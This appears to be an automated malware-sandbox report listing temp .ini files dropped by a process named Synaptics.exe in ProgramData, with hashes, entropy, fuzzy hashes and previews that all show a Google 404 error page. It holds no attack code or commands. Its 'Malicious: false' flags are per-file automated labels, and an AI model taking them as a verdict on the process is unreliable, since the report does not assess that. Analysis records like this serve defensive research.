Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cjV_lIgkdfDiAWRsOX5UHA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\nuPBUcn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273343309317535
Encrypted:	false
SSDEEP:	24:GgsF+03NKSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+v+pAZewRDK4mW
MD5:	C9C2CA707C8681D37CC8256CA4C65109
SHA1:	7F3BCE77AF20179F39FCD93A2B689EE85504EF33
SHA-256:	79B708DBFBA4595E960240C735234C4F8DA534C0E045AB0A98FC88CC888FD65C
SHA-512:	D97359B6E1AC683A37B4F927DF7C728B9982F9CC52168DE3FA851540C6588E4047D2386702CB2BF4A0E7F6B3889F7DEDE79986522B26517E25BCCD1CC894BD9A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XUYTS5zQPdOWnlVpxYp3qA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\o67BsM8.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2621928380528535
Encrypted:	false
SSDEEP:	24:GgsF+0YJadSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Rad+pAZewRDK4mW
MD5:	FC402C936CFBD6C769BAF665840C9961
SHA1:	36BC62704D2D93A689BD6DC94696EDC2125C8E2A
SHA-256:	651AB83CDCB75F724DB41EECF79288094711D75A6711A1F1F4CCB9C8FD860D38
SHA-512:	ADBBCCAD6AA1F99C36526DFBD5666659606A2672CE047E1319484CBA8F293F09A8F84F905DC4BDE46E000D951747B70C0320FB2872BB48404A5FAF24FF66101A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_M7KcjG23ll3cZDjRGi7uw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\olx679u.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257213639619958
Encrypted:	false
SSDEEP:	24:GgsF+0xSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6+pAZewRDK4mW
MD5:	AE8FCAE6549943A04C4AF1E102232356
SHA1:	8EBBA86D3389BA54F6A6A9F42B4F7BDBF231552E
SHA-256:	9DF8C93D0A8CD70D74418A5B2E3B6537EB0085C65572CD40585C32D9A9F300E1
SHA-512:	844A7AA5477C1B17B8A6D91BE152E4E575E3ADCF7D910BCC444A3DD37176733309BC35BBA18E10CABC7052FFCCF8369634531C403704711903FF34079DDB9E3C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="aZnuohMjrsV2bxjY28qmqQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\p3IQFq8.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258463035847214
Encrypted:	false
SSDEEP:	24:GgsF+0I5zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+hz+pAZewRDK4mW
MD5:	DA864CF8FBF9BBD1BA033A2B4B437B6F
SHA1:	4646B51E95F938907BF22D0CACDA8B3257A1682D
SHA-256:	45E4E27479441CD4D47C6E23350D5B60B405399A15F2A55DA55DD0BA71661BDE
SHA-512:	196D525FB9C51611A89891AAA54A0F87E55B3C079DC0CA01CBDFC129B40D61621383E9B93AF1F9999341C994F4294599D47AA38318D38B7B6E9E3F6E094CE8A4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kn5UFNWdJUrphuIq49U1Ew">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\p3MuxXP.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261379140589627
Encrypted:	false
SSDEEP:	24:GgsF+0lUSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9+pAZewRDK4mW
MD5:	520B19B62443F8369F7E3168A789A089
SHA1:	B02F7C00F4817E0C30EB05D3AA8395CFD63078B9
SHA-256:	B80E77806716FC9B349AB1D5FA39B995CE49C891AC0501DEF8F1426D8EEE243D
SHA-512:	8F76E0901C7BBB6964A13B9B949514074179BC887651F2F81B255DF428E0C940169DF5E9FB61988866B6A9E687CCA58248F7C6CDABBE2F7EB6325D429B491DDB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="YAG6mqF7Hnuntp8kLxXCiw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\pQs7xuF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263174861353248
Encrypted:	false
SSDEEP:	24:GgsF+0dyEwDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6Q+pAZewRDK4mW
MD5:	B2F05CE216BC00DC9893A974A2874154
SHA1:	DC49BD38B15E4B221ACB90B70011894E66459939
SHA-256:	677D5D2DD7BE8D33AB5A408F25E2ED696321097F8F7DDEC29E13DAEC83AAB632
SHA-512:	44B155FB8694F72868EC254D9264D890591F39709F1F5141D86AB7BDDCB697713E735AF452FAF83B314C68225D1B9BDDB56E501D39F5C505C564A87733D1AE9F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0DaeOO_0QpZy7VqgZKif4A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\pR7kjJf.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264742575925677
Encrypted:	false
SSDEEP:	24:GgsF+0RmgSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	DAB2B44DB8D276FC1FFE643E9C7C7481
SHA1:	62806FDC66719AED484E7E493277C05A9B750C83
SHA-256:	5550067150866130DFE633890C663A5D5A65629852156D48B97880E18953EF44
SHA-512:	9427A96FF4A7378D8783ACA59B830F1ED576C61C28B0319D0B35C06B4F8A2A42ED897AB70936E5D191D993A521B594624624457868FE8F44747510C7C4BBCCB3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="HuYhNOvtLtozhMv2uWRGIw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\q15sKXs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271861301079677
Encrypted:	false
SSDEEP:	24:GgsF+055SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+I+pAZewRDK4mW
MD5:	642D5CF2765A138183CB1804CB5954B4
SHA1:	E27538240E8640E493A0028CDD16F53CDEA4AC76
SHA-256:	96622E9EFD563729D093FC611A826EBFDB4A933C31C770E1F92E4590CBA26AC0
SHA-512:	E9BA760CDA886178ECA72EC0F112BE112C59E1B96FFFB1F6405772B0E7588735690E24380ACB6C36908664FDE8A95DD77638C8420EA6A802386481BBB7E5E603
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="K4vJHyj-03nTCDTy9RV-uQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\r7l4cOJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255306583387091
Encrypted:	false
SSDEEP:	24:GgsF+05bSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+q+pAZewRDK4mW
MD5:	62C210C282A1B3F0727584C004233C84
SHA1:	B41F96132F8A1FB89887F3A126580A8358B19435
SHA-256:	1C9D4F41EB0C35BC8C26B318E966E7484E51D1333D0CCE7F8CAA2F5EDBED138D
SHA-512:	4421C21E6E98177563161D672F40C8D1E1FCA85542965E00F6F6537BF13AC8A5C11D41AADF9E6F5357AE494EF22CEB592E76153778D837AE6B097939CE035531
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pgKlqi-Hr2-IjFeFB_0RLw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rFgKXRB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.24652413454833
Encrypted:	false
SSDEEP:	24:GgsF+0CiwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+diw+pAZewRDK4mW
MD5:	1FE7435430B01BDA0FC0A31E4A5107B0
SHA1:	C8F0E9D9B86C88D97876519628B4896B4BADFCA3
SHA-256:	D674873A9FC8A096AB6CCE60E718D8B5A814B71EA68A3A6777F56F6B2EA380EF
SHA-512:	7340638BC67C8402AD6FBB868F764C263373EE3AF736F60494ACB3B8176794966B0270EF93CB9126005F85634CBE982F457E5A77578AC47E3748ADD8D4F2E659
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3iz4u1E03Kink-ZE50Uhog">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\s4mgYtU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253202208791155
Encrypted:	false
SSDEEP:	24:GgsF+0pDYESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+y+pAZewRDK4mW
MD5:	BC9C7EA2F1293F14C4684A36E69F3F22
SHA1:	31C61F739CE5A8803312822685FF60649C7D2F5B
SHA-256:	C8DD65496F551EBAAC5641FD4887524E72DC783B6BC10E0C32A5DA8870A7EE9A
SHA-512:	E6490DD1BB50CBCFE407B67F59346911B42DF84AEF6585A628FD5B42F26B6134B9E2D795110E3410469BFBB614FADCFE40CF4498DC76A58F5D201F09C9B32082
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NxMufvCpgIn0e9etEwSjFg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\s88AZUO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.243435132055173
Encrypted:	false
SSDEEP:	24:GgsF+0j8SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+s8+pAZewRDK4mW
MD5:	ACA71965DFAEF9D0169BC0043A7BB089
SHA1:	CD0944134C832754F97D772555F70266BCBAB370
SHA-256:	81212D2FA0BACACDE323EC94286B765D6812AB183548B1D0038DA87DB1B80AF0
SHA-512:	32E1CC7878EBD2B01279266A8E7FD9242B190ED120C7E5ABF86EF1AD1592A3EA5AAA3114E7872283A8B4AFD36FFFBAEA80810741B66E2E36F897B61F834FC4C3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0nh7i00zfp1faUFrPzzkFg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\tPRifuC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265196549302377
Encrypted:	false
SSDEEP:	24:GgsF+0ExpSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+x+pAZewRDK4mW
MD5:	9A4774D94D2C110F771D6E1F10B505A8
SHA1:	5CDB8CEFCE80D4574785643CA141B1F4CA0C2F54
SHA-256:	54A4FD7F6843044956A826A37E075B59A884035D10DDB0A3077AE3A06C0A10D3
SHA-512:	391056610B93E4CEC31F440FF657FE912ED7889B2C9D7CC67E10DA372352C02F2B662B4E9514CD0CFB06843DDE84022614445BD36BE9D43D0F1826F7932BC785
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jcVrC6ku-hUJwyqeeEKGvQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\tQYbQkF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268072725265516
Encrypted:	false
SSDEEP:	24:GgsF+0VSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+y+pAZewRDK4mW
MD5:	003AB9DC6EBC66B77C9F9FA88D3B9216
SHA1:	24B7BC52BD178513503F296FC3F5B53E9D1408D9
SHA-256:	3B6038F37BE75AA5B7202294AEF6F7F7CAEF55095D59E100AA4FD9918F4B4DF2
SHA-512:	43449F48C80D575EE0D8641B0ABB90972D81607F2C498F50F578FE16657B3A66DFD9CB3F619B3096256937713CB5552C6C62DEEEA0C7D7D6044CB7EBD0D23F6D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tG-spSAqOcNZ8r8XjxvbKA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\uYw8uZu.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265716616022831
Encrypted:	false
SSDEEP:	24:GgsF+0xASU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+CA+pAZewRDK4mW
MD5:	74F8818087C79AC53E23693911E550D4
SHA1:	E0D4AD3D174CA30481F2126457B667B498B740E7
SHA-256:	810B0612C13FA987792B2ECADBD09B8496D01F3AFBDAF5DA328AAEC6E3EDC9AB
SHA-512:	73BF4E452F2063502B60B29EF40B520B4F483E5AD35FE4055AE6C97FB7F86F9B92D1A798CCF159F2BD9F43FEA5BA950EFB60311569EF788FC6F88B047FA11A8D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SR3-ZGmBd2WVUpqzlnSavQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\uepejYk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260785224615692
Encrypted:	false
SSDEEP:	24:GgsF+0cAOSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+IO+pAZewRDK4mW
MD5:	F99BE78526B30D72A822DAA852659A87
SHA1:	5CDE545BE77AA8735582899B1C4E670A79D5D5A6
SHA-256:	4CC33FEB22FAA2B0CD09A3B615093CC13B7419E0EE8EFB439629D1FC1E7BC42A
SHA-512:	B6A7ABCCE06D0A1033959E94D3B3BB1AFB597DB0F5342F4323399CF95067EFDB9B2DB84BAD810FAF8927F3DA2BE3525A3A820C6E263A8B20C2E7CABD4DE92AD7
Malicious:	false
